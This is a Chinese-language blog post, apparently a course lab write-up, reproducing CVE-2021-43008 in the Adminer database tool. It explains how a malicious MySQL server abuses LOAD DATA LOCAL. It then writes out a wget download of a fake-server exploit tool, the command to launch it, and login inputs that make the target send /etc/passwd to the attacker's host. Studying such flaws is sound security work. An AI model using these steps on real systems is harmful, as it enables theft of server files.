首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >CVE-2021-43008,Adminer远程文件读取

CVE-2021-43008,Adminer远程文件读取

原创
作者头像
你叫夹克
发布2025-10-16 22:09:12
发布2025-10-16 22:09:12
1440
举报

一、CVE-2021-43008,Adminer远程文件读取

!quote 参考文档 https://app.nextcyber.cn/courses/42/tasks/583

Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。

(一)漏洞条件

在其版本1.12.0到4.6.2之间存在一处因为MySQL LOAD DATA LOCAL导致的文件读取漏洞。

(二)漏洞原理

Adminer在 1.12.0 至 4.6.2 版本中,当用户通过其界面连接 MySQL 数据库时,未限制LOAD DATA LOCAL INFILE语句的使用。该语句本用于从本地文件加载数据到数据库表,但存在一个关键特性:若连接的是恶意 MySQL 服务器,服务器可反向要求客户端(即运行 Adminer 的靶机)读取自身本地文件,并将文件内容发送给恶意服务器。

具体来说,攻击者先搭建恶意 MySQL 服务器,再通过 Adminer 界面发起连接请求;Adminer 作为客户端响应恶意服务器的指令,读取靶机上的敏感文件(如/etc/passwd)并回传,最终导致文件泄露。

代码语言:mermaid
复制
flowchart TD
    A[攻击者] -->|1、搭建恶意MySQL服务器| B[恶意MySQL服务器<br/>(攻击机:10.132.1.111:3308)]
    A -->|2、访问靶机Adminer界面| C[靶机Adminer<br/>(版本1.12.0-4.6.2)]
    C -->|3、输入恶意服务器地址+特制用户名| B
    B -->|4、发送LOAD DATA LOCAL指令| C
    C -->|5、执行指令,读取本地文件| D[靶机敏感文件<br/>(如/etc/passwd)]
    D -->|6、回传文件内容| B
    B -->|7、攻击者查看获取的文件| A

二、漏洞复现

代码语言:txt
复制
# 攻击机IP
10.132.1.111

# 靶机地址
10.22.202.151

(一)漏洞测试与EXP准备

!NOTE EXP下载wget https://github.com/4ra1n/mysql-fake-server/releases/download/0.0.4/fake-mysql-cli-0.0.4.jar

(二)启动恶意服务器

代码语言:shell
复制
java -jar fake-mysql-cli-0.0.4.jar -p 3308

!success 启动成功截图

(三)触发恶意请求,直接读取文件

代码语言:txt
复制
# 系统
MySQL

# 服务器
10.132.1.111:3308

# 用户名
fileread_/etc/passwd

输入上述信息,点击“登录”,即可触发漏洞:

服务器打印的日志如下,我们可以看到,每次成功触发后,服务器同级目录fake-server-files下会存储下读取到的文件:

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、CVE-2021-43008,Adminer远程文件读取
    • (一)漏洞条件
    • (二)漏洞原理
  • 二、漏洞复现
    • (一)漏洞测试与EXP准备
    • (二)启动恶意服务器
    • (三)触发恶意请求,直接读取文件
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档